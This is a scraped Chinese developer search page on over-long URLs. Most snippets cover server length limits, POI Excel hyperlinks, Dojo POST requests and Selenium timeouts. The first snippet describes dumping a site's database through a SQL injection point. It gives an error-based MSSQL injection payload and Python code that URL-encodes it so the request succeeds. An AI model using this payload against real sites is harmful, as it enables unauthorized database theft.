精华内容
下载资源
问答
  • 展开全部今天写了个脚本 主要就是实现利用SQLInj点直接把数据获取到本地62616964757a686964616fe58685e5aeb931333363383462并存到Mysql数据库中学过Python的都知道可以使用urllib2中的request()方法直接打开Url,但...

    展开全部

    今天写了个脚本 主要就是实现利用SQLInj点直接把数据获取到本地62616964757a686964616fe58685e5aeb931333363383462并存到Mysql数据库中

    学过Python的都知道可以使用urllib2中的request()方法直接打开Url,但仅限于url后没有跟复杂的参数串

    今天我利用的Url是

    ' and (select top 1 cast(CONTENT as varchar(8000)) from xxx.dbo.xxx where cast(CONTENT as varchar) not in (select top 22 cast(CONTENT as varchar) from xxx.dbo.xxx))=0--

    开始我也直接用以下语句测试的:

    url="上面的URL"

    req=urllib2.Request(url)

    urllib2.urlopen(req)

    可是执行后一直提示500错误,由此可以发现应该是Python在对Url进行编码的时候更改了某些特殊字符造成Url失效

    我们可以用urllib2或urllib的quote()方法控制对特殊字符的URL编码,这里推荐用 urllib下的quote_plus()方法,它将空格转化成'+'而非%20通用性更好。

    我们更改后的代码如下:

    url = "' and (select top 1 cast(CONTENT as varchar(8000)) from xxx.dbo.xxx where cast(CONTENT as varchar) not in (select top "+str(count)+" cast(CONTENT as varchar) from xxx.dbo.xxx))=0--"

    quoteUrl=urllib.quote_plus(url,safe=':\'/?&=()')

    fd = urllib.urlopen(quoteUrl)

    这样我们就可以正常的提取数据了

    本回答由提问者推荐

    2Q==

    已赞过

    已踩过<

    你对这个回答的评价是?

    评论

    收起

    展开全文
  • mvc url太长显示错误

    2018-06-08 16:53:13
    在Web.config下添加1.system.web下添加&lt;httpRuntime maxRequestLength="999999999" maxQueryStringLength="2097151" requestValidationMode="2.0"/&gt;...

    在Web.config下添加

    1.system.web下添加

    <httpRuntime maxRequestLength="999999999" maxQueryStringLength="2097151" requestValidationMode="2.0"/>

    2.system.webServer下添加

    <security>
          <requestFiltering>
            <requestLimits maxAllowedContentLength="2147483647" maxQueryString="2147483647"/>
          </requestFiltering>

        </security>

    添加以上两步后才行,只添加一种不行。

    展开全文
  • <p>A working URL would be: <pre><code>http://photospace.local/admin/content/pages?sdkjfhksdjhfjk=sdfkjnasdasdasdsaasdasdsadadfdfafdgfg </code></pre> <p>And a non-working one would be (note this one ...
  • poi导出excel时url太长

    2018-07-30 11:42:46
    // hyperCell.setCellFormula("HYPERLINK(\"" + url + "\",\"" + url + "\")"); Hyperlink hyperlink = workbook.getCreationHelper().createHyperlink(HyperlinkType.URL); hyperlink.setAddress...
    public ByteArrayOutputStream export(ExcelData data) throws IOException {
    		Workbook  workbook = new  XSSFWorkbook();//xlsx
    //		Workbook  workbook = new  HSSFWorkbook();//xls
    		Sheet  sheet = workbook.createSheet(ExcelConst.EXCEL_SHEET);
    
    		// 标头样式
    		CellStyle style = workbook.createCellStyle();
    		style.setAlignment(HorizontalAlignment.CENTER);
    
    		// 填充表头
    		Row row = sheet.createRow(0);
    		Cell cell;
    		for (int i = 0; i < data.column(); i++) {
    			cell = row.createCell(i);
    			cell.setCellValue(data.getHead(i));
    			cell.setCellStyle(style);
    		}
    
    		// 超链接样式
    		CellStyle linkStyle = workbook.createCellStyle();
    		Font cellFont = workbook.createFont();
    		cellFont.setUnderline((byte) 1);
    		cellFont.setColor(HSSFColor.BLUE.index);
    		linkStyle.setFont(cellFont);
    
    		// 填充数据
    		Row newRow;
    		for (int i = 0; i < data.row(); i++) {
    			List<DataRow> dataRow = data.getRow(i);
    			newRow = sheet.createRow(i + 1);
    			for (int j = 0; j < dataRow.size(); j++) {
    				Object value = dataRow.get(j).getValue();
    				if (value instanceof Date) {
    					newRow.createCell(j).setCellValue(
    							new SimpleDateFormat(DateUtil.yyyyMMdd).format((Date) dataRow.get(j).getValue()));
    				} else if (StringUtil.isNotEmpty(dataRow.get(j).getLink())) {
    					Cell hyperCell = newRow.createCell(j);
    					String url = dataRow.get(j).getLink();
    					url = url.startsWith("http://") ? url : "http://" + url;
    					hyperCell.setCellType(CellType.STRING);
    					hyperCell.setCellStyle(linkStyle);
    //						hyperCell.setCellFormula("HYPERLINK(\"" + url + "\",\"" + url + "\")");
    					Hyperlink hyperlink =  workbook.getCreationHelper().createHyperlink(HyperlinkType.URL);
    					hyperlink.setAddress(url);
    					hyperCell.setCellValue(url);
    					hyperCell.setHyperlink(hyperlink);
    					hyperCell.setCellValue(url);					
    				} else {
    					Object dataValue = dataRow.get(j).getValue();
    					if(ObjectUtil.isNotEmpty(dataValue)){
    						newRow.createCell(j).setCellValue(dataValue.toString());
    					}else{
    						newRow.createCell(j).setCellValue("");
    					}
    					
    				}
    			}
    		}
    		ByteArrayOutputStream os = new ByteArrayOutputStream();
    		workbook.write(os);
    		return os;
    	}
    

    url超过255个字符会报不能设置为url格式  

    参考博客 

    https://blog.csdn.net/u010689306/article/details/52091123

    展开全文
  • <div><p>一)可否实现使用短网址 比如dwz.cn的。 二)可否实现能复制带有密码的分享链接</p><p>该提问来源于开源项目:XuShaohua/bcloud</p></div>
  • 结果导致条件选择一两个,url会特别。然后会报404错误。差点把前面的设计推掉,重来。项目就差一小部分了。时间上也来不及了。硬着头皮,看了一天的js源代码,我只能说,俺对js的世界无法理解啊。反复的试验了好久...

    使用了dojo开发。在datagrid过滤的时候。为了让过滤好处理,直接设置为完全二叉树的方式来存查询条件。但是在提交数据的时候,默认是get?url的方式。结果导致条件选择一两个,url会特别长。然后会报404错误。差点把前面的设计推掉,重来。项目就差一小部分了。时间上也来不及了。硬着头皮,看了一天的js源代码,我只能说,俺对js的世界无法理解啊。反复的试验了好久,硬是将rest的get请求,改为了post请求。代码如下:

     1 require(["dojo/_base/declare", "dojox/rpc/JsonRest", "dojox/data/JsonRestStore", "dojo/dom", "dojo/domReady!"],
     2         function (declare, rpcJsonRest,JsonRestStore, locale, dom) {
     3             return declare("mydata.JsonRestStore", [dojox.data.JsonRestStore], {//我的rest并不标准{Data:data,ErrorNo:1,ErrorInfo:errorinfo}这种形式。
     4                 _processResults: function (results, deferred) {
     5                     // index the results
     6                     if (results.ErrorNo > 0) {
     7                         alert(results.ErrorInfo);
     8                         throw new Error(results.ErrorInfo || '');
     9                     }
    10                     var count = results.Data.TotalRowCount;
    11                     results = results.Data.Items;
    12                     // if we don't know the length, and it is partial result, we will guess that it is twice as big, that will work for most widgets
    13                     return { totalCount: deferred.fullLength || (deferred.request.count == count ? (deferred.request.start || 0) + count * 2 : count), items: results };
    14                 },
    15                 _doQuery: function (args) {//重写了一个_doQuery
    16                     var query = typeof args.queryStr == 'string' ? args.queryStr : args.query;
    17                     //var myservice = this.service({}, args);
    18                     var myservice = this.service._getRequest({ operation: query.operation }, args)//从这里开始新的调用。
    19                     var xhrArgs = {
    20                         url: myservice.url,
    21                         handleAs: "json",
    22                         headers: {
    23                             Accept: "application/json,application/javascript",
    24                             Range: myservice.headers.Range
    25                         },
    26                         content: { filtercodtion: query.filtercodtion }
    27                     };
    28                     var deferred = dojo.xhrPost(xhrArgs); //rpcJsonRest.query(this.service, query, args);原来的调用。
    29                     var self = this;
    30                     if (this.loadReferencedSchema) {
    31                         deferred.addCallback(function (result) {
    32                             var contentType = deferred.ioArgs && deferred.ioArgs.xhr && deferred.ioArgs.xhr.getResponseHeader("Content-Type");
    33                             var schemaRef = contentType && contentType.match(/definedby\s*=\s*([^;]*)/);
    34                             if (contentType && !schemaRef) {
    35                                 schemaRef = deferred.ioArgs.xhr.getResponseHeader("Link");
    36                                 schemaRef = schemaRef && schemaRef.match(/<([^>]*)>;\s*rel="?definedby"?/);
    37                             }
    38                             schemaRef = schemaRef && schemaRef[1];
    39                             if (schemaRef) {
    40                                 var serviceAndId = rpcJsonRest.getServiceAndId((self.target + schemaRef).replace(/^(.*\/)?(\w+:\/\/)|[^\/\.]+\/\.\.\/|^.*\/(\/)/, "$2$3"));
    41                                 var schemaDeferred = rpcJsonRest.byId(serviceAndId.service, serviceAndId.id);
    42                                 schemaDeferred.addCallbacks(function (newSchema) {
    43                                     lang.mixin(self.schema, newSchema);
    44                                     return result;
    45                                 }, function (error) {
    46                                     alert(error);
    47                                     console.error(error); // log it, but don't let it cause the main request to fail
    48                                     return result;
    49                                 });
    50                                 return schemaDeferred;
    51                             }
    52                             return undefined;//don't change anything, and deal with the stupid post-commit lint complaints
    53                         });
    54                     }
    55                     return deferred;
    56                 }
    57             });
    58         }
    59 );

    解决问题的思路因为觉得太复杂[的确是复杂],而不知道怎么入手。要改变方法。耗的时间太久了。

    转载于:https://www.cnblogs.com/forhell/p/4924782.html

    展开全文
  • Latex "参考文献的url太长"问题

    千次阅读 2019-05-26 07:44:34
    原文地址:https://blog.csdn.net/lyllm2008/article/details/38398053
  • URL太长导致参数被截断的问题

    千次阅读 2013-10-29 13:19:57
    做Web开发时经常涉及到页面之间的转跳,页面之间的转跳就会涉及到页面之间参数的传递,通过URL传递参数是常用的方法之一,但是微软说:"Maximum URL length is 2,083 characters in Internet Explorer",也就是说URL...
  • url有长度限制,太长的字符串会传递失败,可使用窗体通信、全局变量,或encodeURIComponent等多种方式解决,如下为encodeURIComponent示例的解决方法。 <navigator :url="'/pages/test/test?item='+ ...
  • 我们更新文章时如果有引用其他文章一般会带一个原文url,但这个链接如果太长的话会把内容的版块撑开,整个排版乱了。那我们能不能设置css自动换行呢?如下图所示,其实只要两个样式就能搞定 word-wrap:break-word;...
  • 做Web开发时经常涉及到页面之间的转跳,页面之间的转跳就会涉及到页面之间参数的传递,通过URL传递参数是常用的方法之一,但是微软说:"Maximum URL length is 2,083 characters in Internet Explorer",也就是说URL...
  • 解决这个问题,只需要在application配置文件中添加以下配置即可; server: jetty: max-http-post-size: 81920 max-http-header-size: 81920
  • JQuery url长度太长,导致报错

    千次阅读 2016-12-13 16:36:20
    如题: JQuery url长度太长,导致报错,相信很多人都遇到过,无论是采用get或者post的方式,都会由于url的限制、浏览器对于url的限制、服务器对于url的限制,势必会出错,所以询问同事有如下解决方案:  1.在前段...
  • 长URL转换成短URL

    2018-11-24 00:03:02
    最近公司业务需求将url转为二维码,但是遇到url太长,转成的二维码无法扫描,要先将url转成短码处理,自己写了一个测试,分享学习一下!  package alfri.test; import java.awt.BasicStroke; import java.awt....
  • 如果你的应用使用配置值有别于你使用的MySQL服务器的默认值,最好还是明确在url中指出。这样可以重载服务器的配置,明确应用的需求。但如果配置的值也是服务器的默认值,则没有必要。 如果你自己维护数据,同时对...
  • url最大长度

    2019-01-22 11:34:02
    HTTP RFC2616协议没有规定URL的最大长度,但规定服务器如果不能处理太长URL,就得返回414状态码(Request-URI Too Long)。 HTTP RFC2616协议指出,某些旧的客户端或代理,可能无法处理超过255个字节的URI。 ...
  • 本节讨论 URL 的构成、SharePoint 2010 构建 URL 的方式、URL 的编码和加长以及作为其他 URL 中的参数传递的方式。 SharePoint URL 的构成 SharePoint URL 的总长度等于文件夹或文件路径的长度,包括协议和服务器...
  • Webdriver get(url)加载时间太长

    千次阅读 2019-07-15 15:54:00
    运行Selenium脚本时,发现有时候由于网络或性能问题,加载网页时间太长,无法继续执行后续操作,但是实际上元素都已经加载出来了。 解决 # 设置页面加载超时时间 d.set_page_load_timeout(3) d.set_script_time...
  • 一、IIS请求url地址太长怎么办? 需要在web.config文件下添加最大长度值 <requestLimits maxUrl="10240" maxQueryString="10240" maxAllowedContentLength="10240000"></requestLimits> =添加位置如图=...
  • HTTP URL最大长度

    2018-02-07 19:21:48
    HTTP RFC2616协议没有规定URL的最大长度,但规定服务器如果不能处理太长URL,就得返回414状态码(Request-URI Too Long)。 HTTP RFC2616协议指出,某些旧的客户端或代理,可能无法处理超过255个字节的URI。 ...
  • 在执行自动化测试用例过程中,发现因为网络慢或其他原因导致driver.get(url) 时,页面一直在加载,页面没有加载完成就不会去继续执行下面的动作,但是实际上需要操作的元素已经加载出来了。 解决方法 第一步:使用...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 952
精华内容 380
关键字:

url太长